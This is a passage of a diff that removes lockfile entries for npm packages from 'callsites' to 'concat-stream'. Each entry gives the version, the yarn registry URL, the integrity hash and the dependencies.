-
-callsites@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
-  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
-
-camel-case@^4.1.1:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
-  integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==
-  dependencies:
-    pascal-case "^3.1.2"
-    tslib "^2.0.3"
-
-camelcase@5.3.1, camelcase@^5.0.0, camelcase@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
-  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
-
-camelcase@^1.0.2:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-1.2.1.tgz#9bb5304d2e0b56698b2c758b08a3eaa9daa58a39"
-  integrity sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=
-
-camelcase@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-3.0.0.tgz#32fc4b9fcdaf845fcdf7e73bb97cac2261f0ab0a"
-  integrity sha1-MvxLn82vhF/N9+c7uXysImHwqwo=
-
-camelize@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/camelize/-/camelize-1.0.0.tgz#164a5483e630fa4321e5af07020e531831b2609b"
-  integrity sha1-FkpUg+Yw+kMh5a8HAg5TGDGyYJs=
-
-caniuse-api@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
-  integrity sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-lite "^1.0.0"
-    lodash.memoize "^4.1.2"
-    lodash.uniq "^4.5.0"
-
-caniuse-lite@^1.0.0, caniuse-lite@^1.0.30000981, caniuse-lite@^1.0.30001035, caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001219, caniuse-lite@^1.0.30001230:
-  version "1.0.30001237"
-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001237.tgz#4b7783661515b8e7151fc6376cfd97f0e427b9e5"
-  integrity sha512-pDHgRndit6p1NR2GhzMbQ6CkRrp4VKuSsqbcLeOQppYPKOYkKT/6ZvZDvKJUqcmtyWIAHuZq3SVS2vc1egCZzw==
-
-capture-exit@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/capture-exit/-/capture-exit-2.0.0.tgz#fb953bfaebeb781f62898239dabb426d08a509a4"
-  integrity sha512-PiT/hQmTonHhl/HFGN+Lx3JJUznrVYJ3+AQsnthneZbvW7x+f08Tk7yLJTLEOUvBTbduLeeBkxEaYXUOUrRq6g==
-  dependencies:
-    rsvp "^4.8.4"
-
-case-sensitive-paths-webpack-plugin@2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.3.0.tgz#23ac613cc9a856e4f88ff8bb73bbb5e989825cf7"
-  integrity sha512-/4YgnZS8y1UXXmC02xD5rRrBEu6T5ub+mQHLNRj0fzTRbgdBYhsNo2V5EqwgqrExjxsjtF/OpAKAMkKsxbD5XQ==
-
-caseless@~0.12.0:
-  version "0.12.0"
-  resolved "https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc"
-  integrity sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=
-
-center-align@^0.1.1:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/center-align/-/center-align-0.1.3.tgz#aa0d32629b6ee972200411cbd4461c907bc2b7ad"
-  integrity sha1-qg0yYptu6XIgBBHL1EYckHvCt60=
-  dependencies:
-    align-text "^0.1.3"
-    lazy-cache "^1.0.3"
-
-chain-function@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/chain-function/-/chain-function-1.0.1.tgz#c63045e5b4b663fb86f1c6e186adaf1de402a1cc"
-  integrity sha512-SxltgMwL9uCko5/ZCLiyG2B7R9fY4pDZUw7hJ4MhirdjBLosoDqkWABi3XMucddHdLiFJMb7PD2MZifZriuMTg==
-
-chalk@2.4.2, chalk@^2.0.0, chalk@^2.0.1, chalk@^2.1.0, chalk@^2.3.0, chalk@^2.4.1, chalk@^2.4.2:
-  version "2.4.2"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
-  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
-  dependencies:
-    ansi-styles "^3.2.1"
-    escape-string-regexp "^1.0.5"
-    supports-color "^5.3.0"
-
-chalk@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
-  integrity sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=
-  dependencies:
-    ansi-styles "^2.2.1"
-    escape-string-regexp "^1.0.2"
-    has-ansi "^2.0.0"
-    strip-ansi "^3.0.0"
-    supports-color "^2.0.0"
-
-chalk@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-3.0.0.tgz#3f73c2bf526591f574cc492c51e2456349f844e4"
-  integrity sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-chalk@^4.0.0, chalk@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.1.tgz#c80b3fab28bf6371e6863325eee67e618b77e6ad"
-  integrity sha512-diHzdDKxcU+bAsUboHLPEDQiw0qEe0qd7SYUn3HgcFlWgbDcfLGswOHYeGrHKzG9z6UYf01d9VFMfZxPM1xZSg==
-  dependencies:
-    ansi-styles "^4.1.0"
-    supports-color "^7.1.0"
-
-chardet@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/chardet/-/chardet-0.7.0.tgz#90094849f0937f2eedc2425d0d28a9e5f0cbad9e"
-  integrity sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==
-
-checkpoint-store@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/checkpoint-store/-/checkpoint-store-1.1.0.tgz#04e4cb516b91433893581e6d4601a78e9552ea06"
-  integrity sha1-BOTLUWuRQziTWB5tRgGnjpVS6gY=
-  dependencies:
-    functional-red-black-tree "^1.0.1"
-
-chokidar@^2.0.0, chokidar@^2.1.8:
-  version "2.1.8"
-  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-2.1.8.tgz#804b3a7b6a99358c3c5c61e71d8728f041cff917"
-  integrity sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==
-  dependencies:
-    anymatch "^2.0.0"
-    async-each "^1.0.1"
-    braces "^2.3.2"
-    glob-parent "^3.1.0"
-    inherits "^2.0.3"
-    is-binary-path "^1.0.0"
-    is-glob "^4.0.0"
-    normalize-path "^3.0.0"
-    path-is-absolute "^1.0.0"
-    readdirp "^2.2.1"
-    upath "^1.1.1"
-  optionalDependencies:
-    fsevents "^1.2.7"
-
-chokidar@^3.3.0, chokidar@^3.4.1:
-  version "3.5.1"
-  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a"
-  integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==
-  dependencies:
-    anymatch "~3.1.1"
-    braces "~3.0.2"
-    glob-parent "~5.1.0"
-    is-binary-path "~2.1.0"
-    is-glob "~4.0.1"
-    normalize-path "~3.0.0"
-    readdirp "~3.5.0"
-  optionalDependencies:
-    fsevents "~2.3.1"
-
-chownr@^1.1.1, chownr@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
-  integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
-
-chrome-trace-event@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz#1015eced4741e15d06664a957dbbf50d041e26ac"
-  integrity sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==
-
-ci-info@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-2.0.0.tgz#67a9e964be31a51e15e5010d58e6f12834002f46"
-  integrity sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==
-
-cids@^0.8.3, cids@~0.8.0:
-  version "0.8.3"
-  resolved "https://registry.yarnpkg.com/cids/-/cids-0.8.3.tgz#aaf48ac8ed857c3d37dad94d8db1d8c9407b92db"
-  integrity sha512-yoXTbV3llpm+EBGWKeL9xKtksPE/s6DPoDSY4fn8I8TEW1zehWXPSB0pwAXVDlLaOlrw+sNynj995uD9abmPhA==
-  dependencies:
-    buffer "^5.6.0"
-    class-is "^1.1.0"
-    multibase "^1.0.0"
-    multicodec "^1.0.1"
-    multihashes "^1.0.1"
-
-cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de"
-  integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==
-  dependencies:
-    inherits "^2.0.1"
-    safe-buffer "^5.0.1"
-
-class-is@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/class-is/-/class-is-1.1.0.tgz#9d3c0fba0440d211d843cec3dedfa48055005825"
-  integrity sha512-rhjH9AG1fvabIDoGRVH587413LPjTZgmDF9fOFCbFJQV4yuocX1mHxxvXI4g3cGwbVY9wAYIoKlg1N79frJKQw==
-
-class-utils@^0.3.5:
-  version "0.3.6"
-  resolved "https://registry.yarnpkg.com/class-utils/-/class-utils-0.3.6.tgz#f93369ae8b9a7ce02fd41faad0ca83033190c463"
-  integrity sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==
-  dependencies:
-    arr-union "^3.1.0"
-    define-property "^0.2.5"
-    isobject "^3.0.0"
-    static-extend "^0.1.1"
-
-classnames@2.x, classnames@^2.2.1, classnames@^2.2.3, classnames@^2.2.5, classnames@^2.2.6:
-  version "2.3.1"
-  resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.3.1.tgz#dfcfa3891e306ec1dad105d0e88f4417b8535e8e"
-  integrity sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==
-
-clean-css@^4.2.3:
-  version "4.2.3"
-  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-4.2.3.tgz#507b5de7d97b48ee53d84adb0160ff6216380f78"
-  integrity sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==
-  dependencies:
-    source-map "~0.6.0"
-
-clean-stack@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
-  integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==
-
-cli-cursor@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-2.1.0.tgz#b35dac376479facc3e94747d41d0d0f5238ffcb5"
-  integrity sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=
-  dependencies:
-    restore-cursor "^2.0.0"
-
-cli-cursor@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/cli-cursor/-/cli-cursor-3.1.0.tgz#264305a7ae490d1d03bf0c9ba7c925d1753af307"
-  integrity sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==
-  dependencies:
-    restore-cursor "^3.1.0"
-
-cli-table3@^0.5.1:
-  version "0.5.1"
-  resolved "https://registry.yarnpkg.com/cli-table3/-/cli-table3-0.5.1.tgz#0252372d94dfc40dbd8df06005f48f31f656f202"
-  integrity sha512-7Qg2Jrep1S/+Q3EceiZtQcDPWxhAvBw+ERf1162v4sikJrvojMHFqXt8QIVha8UlH9rgU0BeWPytZ9/TzYqlUw==
-  dependencies:
-    object-assign "^4.1.0"
-    string-width "^2.1.1"
-  optionalDependencies:
-    colors "^1.1.2"
-
-cli-width@^2.0.0:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/cli-width/-/cli-width-2.2.1.tgz#b0433d0b4e9c847ef18868a4ef16fd5fc8271c48"
-  integrity sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==
-
-cli-width@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/cli-width/-/cli-width-3.0.0.tgz#a2f48437a2caa9a22436e794bf071ec9e61cedf6"
-  integrity sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==
-
-cliui@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/cliui/-/cliui-2.1.0.tgz#4b475760ff80264c762c3a1719032e91c7fea0d1"
-  integrity sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=
-  dependencies:
-    center-align "^0.1.1"
-    right-align "^0.1.1"
-    wordwrap "0.0.2"
-
-cliui@^3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/cliui/-/cliui-3.2.0.tgz#120601537a916d29940f934da3b48d585a39213d"
-  integrity sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=
-  dependencies:
-    string-width "^1.0.1"
-    strip-ansi "^3.0.1"
-    wrap-ansi "^2.0.0"
-
-cliui@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/cliui/-/cliui-5.0.0.tgz#deefcfdb2e800784aa34f46fa08e06851c7bbbc5"
-  integrity sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==
-  dependencies:
-    string-width "^3.1.0"
-    strip-ansi "^5.2.0"
-    wrap-ansi "^5.1.0"
-
-clone-buffer@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/clone-buffer/-/clone-buffer-1.0.0.tgz#e3e25b207ac4e701af721e2cb5a16792cac3dc58"
-  integrity sha1-4+JbIHrE5wGvch4staFnksrD3Fg=
-
-clone-deep@^0.2.4:
-  version "0.2.4"
-  resolved "https://registry.yarnpkg.com/clone-deep/-/clone-deep-0.2.4.tgz#4e73dd09e9fb971cc38670c5dced9c1896481cc6"
-  integrity sha1-TnPdCen7lxzDhnDF3O2cGJZIHMY=
-  dependencies:
-    for-own "^0.1.3"
-    is-plain-object "^2.0.1"
-    kind-of "^3.0.2"
-    lazy-cache "^1.0.3"
-    shallow-clone "^0.1.2"
-
-clone-deep@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/clone-deep/-/clone-deep-4.0.1.tgz#c19fd9bdbbf85942b4fd979c84dcf7d5f07c2387"
-  integrity sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==
-  dependencies:
-    is-plain-object "^2.0.4"
-    kind-of "^6.0.2"
-    shallow-clone "^3.0.0"
-
-clone-stats@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/clone-stats/-/clone-stats-1.0.0.tgz#b3782dff8bb5474e18b9b6bf0fdfe782f8777680"
-  integrity sha1-s3gt/4u1R04Yuba/D9/ngvh3doA=
-
-clone@^2.0.0, clone@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/clone/-/clone-2.1.2.tgz#1b7f4b9f591f1e8f83670401600345a02887435f"
-  integrity sha1-G39Ln1kfHo+DZwQBYANFoCiHQ18=
-
-cloneable-readable@^1.0.0:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/cloneable-readable/-/cloneable-readable-1.1.3.tgz#120a00cb053bfb63a222e709f9683ea2e11d8cec"
-  integrity sha512-2EF8zTQOxYq70Y4XKtorQupqF0m49MBz2/yf5Bj+MHjvpG3Hy7sImifnqD6UA+TKYxeSV+u6qqQPawN5UvnpKQ==
-  dependencies:
-    inherits "^2.0.1"
-    process-nextick-args "^2.0.0"
-    readable-stream "^2.3.5"
-
-co@^4.6.0:
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
-  integrity sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=
-
-coa@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/coa/-/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3"
-  integrity sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==
-  dependencies:
-    "@types/q" "^1.5.1"
-    chalk "^2.4.1"
-    q "^1.1.2"
-
-code-point-at@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77"
-  integrity sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=
-
-codemirror-graphql@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/codemirror-graphql/-/codemirror-graphql-1.0.2.tgz#cfbfb4ab9ed81467dc606848c5eb84e1f5d82766"
-  integrity sha512-D4+BdYa6iQnDlio4mBk1Yap5ROCqEWapSFLkiKGatx/I0dF6euzdwd0um3Ndudw6rFQbNuT7hpcH8tnBO6VOfQ==
-  dependencies:
-    graphql-language-service-interface "^2.8.2"
-    graphql-language-service-parser "^1.9.0"
-
-codemirror@^5.54.0:
-  version "5.61.1"
-  resolved "https://registry.yarnpkg.com/codemirror/-/codemirror-5.61.1.tgz#ccfc8a43b8fcfb8b12e8e75b5ffde48d541406e0"
-  integrity sha512-+D1NZjAucuzE93vJGbAaXzvoBHwp9nJZWWWF9utjv25+5AZUiah6CIlfb4ikG4MoDsFsCG8niiJH5++OO2LgIQ==
-
-collection-map@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/collection-map/-/collection-map-1.0.0.tgz#aea0f06f8d26c780c2b75494385544b2255af18c"
-  integrity sha1-rqDwb40mx4DCt1SUOFVEsiVa8Yw=
-  dependencies:
-    arr-map "^2.0.2"
-    for-own "^1.0.0"
-    make-iterator "^1.0.0"
-
-collection-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-  integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
-  dependencies:
-    map-visit "^1.0.0"
-    object-visit "^1.0.0"
-
-color-convert@^1.9.0, color-convert@^1.9.1:
-  version "1.9.3"
-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
-  dependencies:
-    color-name "1.1.3"
-
-color-convert@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
-  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
-  dependencies:
-    color-name "~1.1.4"
-
-color-name@1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-  integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-color-name@^1.0.0, color-name@~1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
-  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
-
-color-string@^1.5.4:
-  version "1.5.5"
-  resolved "https://registry.yarnpkg.com/color-string/-/color-string-1.5.5.tgz#65474a8f0e7439625f3d27a6a19d89fc45223014"
-  integrity sha512-jgIoum0OfQfq9Whcfc2z/VhCNcmQjWbey6qBX0vqt7YICflUmBCh9E9CiQD5GSJ+Uehixm3NUwHVhqUAWRivZg==
-  dependencies:
-    color-name "^1.0.0"
-    simple-swizzle "^0.2.2"
-
-color-support@^1.1.3:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/color-support/-/color-support-1.1.3.tgz#93834379a1cc9a0c61f82f52f0d04322251bd5a2"
-  integrity sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==
-
-color@^3.0.0:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/color/-/color-3.1.3.tgz#ca67fb4e7b97d611dcde39eceed422067d91596e"
-  integrity sha512-xgXAcTHa2HeFCGLE9Xs/R82hujGtu9Jd9x4NW3T34+OMs7VoPsjwzRczKHvTAHeJwWFwX5j15+MgAppE8ztObQ==
-  dependencies:
-    color-convert "^1.9.1"
-    color-string "^1.5.4"
-
-colorette@^1.2.1, colorette@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94"
-  integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==
-
-colors@^1.1.2, colors@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/colors/-/colors-1.4.0.tgz#c50491479d4c1bdaed2c9ced32cf7c7dc2360f78"
-  integrity sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==
-
-combined-stream@^1.0.6, combined-stream@^1.0.8, combined-stream@~1.0.6:
-  version "1.0.8"
-  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
-  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
-  dependencies:
-    delayed-stream "~1.0.0"
-
-commander@^2.11.0, commander@^2.15.0, commander@^2.20.0:
-  version "2.20.3"
-  resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
-  integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
-
-commander@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
-  integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
-
-common-tags@^1.8.0:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.0.tgz#8e3153e542d4a39e9b10554434afaaf98956a937"
-  integrity sha512-6P6g0uetGpW/sdyUy/iQQCbFF0kWVMSIVSyYz7Zgjcgh8mgw8PQzDNZeyZ5DQ2gM7LBoZPHmnjz8rUthkBG5tw==
-
-commondir@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
-  integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=
-
-component-emitter@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-  integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
-
-compose-function@3.0.3:
-  version "3.0.3"
-  resolved "https://registry.yarnpkg.com/compose-function/-/compose-function-3.0.3.tgz#9ed675f13cc54501d30950a486ff6a7ba3ab185f"
-  integrity sha1-ntZ18TzFRQHTCVCkhv9qe6OrGF8=
-  dependencies:
-    arity-n "^1.0.4"
-
-compressible@~2.0.16:
-  version "2.0.18"
-  resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
-  integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==
-  dependencies:
-    mime-db ">= 1.43.0 < 2"
-
-compression@^1.7.4:
-  version "1.7.4"
-  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.4.tgz#95523eff170ca57c29a0ca41e6fe131f41e5bb8f"
-  integrity sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==
-  dependencies:
-    accepts "~1.3.5"
-    bytes "3.0.0"
-    compressible "~2.0.16"
-    debug "2.6.9"
-    on-headers "~1.0.2"
-    safe-buffer "5.1.2"
-    vary "~1.1.2"
-
-compute-scroll-into-view@^1.0.17:
-  version "1.0.17"
-  resolved "https://registry.yarnpkg.com/compute-scroll-into-view/-/compute-scroll-into-view-1.0.17.tgz#6a88f18acd9d42e9cf4baa6bec7e0522607ab7ab"
-  integrity sha512-j4dx+Fb0URmzbwwMUrhqWM2BEWHdFGx+qZ9qqASHRPqvTYdqvWnHg0H1hIbcyLnvgnoNAVMlwkepyqM3DaIFUg==
-
-concat-map@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-concat-stream@^1.5.0, concat-stream@^1.6.0:
-  version "1.6.2"
-  resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
